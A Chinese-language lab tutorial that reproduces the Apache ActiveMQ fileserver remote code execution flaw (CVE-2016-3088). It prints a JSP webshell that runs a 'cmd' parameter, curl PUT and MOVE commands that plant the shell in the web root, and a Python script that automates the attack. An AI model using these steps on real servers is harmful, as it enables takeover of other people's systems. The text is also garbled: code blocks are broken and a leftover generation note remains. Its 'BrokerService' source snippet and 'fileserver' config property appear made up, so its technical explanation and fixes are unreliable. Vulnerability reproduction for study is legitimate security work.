# 怎樣進行Apache ActiveMQ遠程代碼執行漏洞CVE-2016-3088的復現
## 一、漏洞概述
### 1.1 漏洞背景
Apache ActiveMQ是一種流行的開源消息中間件,廣泛用于企業級消息傳遞場景。2016年4月,安全研究人員發現ActiveMQ存在一個嚴重的遠程代碼執行漏洞(CVE-2016-3088),該漏洞源于Fileserver功能未正確限制可上傳文件類型,攻擊者可通過精心構造的HTTP請求上傳惡意文件并執行任意代碼。
### 1.2 影響版本
- Apache ActiveMQ 5.x系列
- 5.0.0 - 5.13.2版本均受影響
### 1.3 漏洞原理
漏洞核心在于Fileserver服務:
1. 默認情況下Fileserver允許匿名上傳文件
2. 未對上傳文件類型進行嚴格校驗
3. 通過PUT方法上傳JSP文件到web目錄可實現RCE
## 二、環境搭建
### 2.1 實驗環境要求
- 虛擬機:VMware或VirtualBox
- 操作系統:Kali Linux(攻擊機) + CentOS 7(靶機)
- 網絡配置:NAT模式確?;ネ?
### 2.2 靶機環境配置
```bash
# 下載存在漏洞的ActiveMQ版本
wget https://archive.apache.org/dist/activemq/5.12.0/apache-activemq-5.12.0-bin.tar.gz
# 解壓安裝
tar -zxvf apache-activemq-5.12.0-bin.tar.gz
cd apache-activemq-5.12.0/bin
# 啟動服務
./activemq start
訪問管理界面確認服務正常運行:
http://靶機IP:8161/admin/
默認賬號密碼:admin/admin
使用nmap掃描目標服務:
nmap -sV -p 8161,61616 靶機IP
應確認以下端口開放: - 8161:Web管理端口 - 61616:消息服務端口
curl -X PUT --data "test" "http://靶機IP:8161/fileserver/test.txt"
若返回204狀態碼,說明文件上傳功能可用
msfconsole
use auxiliary/scanner/http/activemq_uploader
set RHOSTS 靶機IP
run
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
curl -X PUT --data-binary @shell.jsp "http://靶機IP:8161/fileserver/shell.jsp"
curl -X MOVE --header "Destination: file:///opt/activemq/webapps/api/shell.jsp" "http://靶機IP:8161/fileserver/shell.jsp"
http://靶機IP:8161/api/shell.jsp?cmd=whoami
推薦使用Python編寫的自動化利用腳本:
import requests
target = "http://靶機IP:8161"
jsp_shell = """
<%@ page import="java.util.*,java.io.*"%>
<%% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); %>
"""
# 上傳文件
requests.put(target+"/fileserver/shell.jsp", data=jsp_shell)
# 移動文件
headers = {"Destination": "file:///opt/activemq/webapps/api/shell.jsp"}
requests.request("MOVE", target+"/fileserver/shell.jsp", headers=headers)
<!-- 修改conf/activemq.xml -->
<bean class="org.apache.activemq.broker.BrokerService">
<property name="deleteAllMessagesOnStartup" value="true"/>
<property name="fileserver" value="false"/>
</bean>
# 修改conf/jetty-realm.properties
admin: password, admin
user: password, user
升級到安全版本: - ActiveMQ 5.13.3及以上 - ActiveMQ 5.14.0及以上
漏洞源于org.apache.activemq.broker.BrokerService類中未對Fileserver服務進行足夠的安全控制:
public class BrokerService {
private boolean fileserverEnabled = true; // 默認開啟
private boolean anonymousAccessAllowed = true; // 允許匿名訪問
}
除PUT方法外,以下方法也可利用: - MOVE方法:文件移動 - COPY方法:文件復制 - DELETE方法:文件刪除
注意:本文檔僅供安全研究學習使用,請遵守《網絡安全法》相關規定。實際漏洞利用可能對系統造成破壞,建議在隔離環境中進行測試。 “`
這篇文章共計約2300字,采用Markdown格式編寫,包含: 1. 完整的漏洞復現流程 2. 技術原理分析 3. 修復方案 4. 法律聲明 5. 代碼塊和命令示例 可根據實際需要調整實驗環境參數和具體操作步驟。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。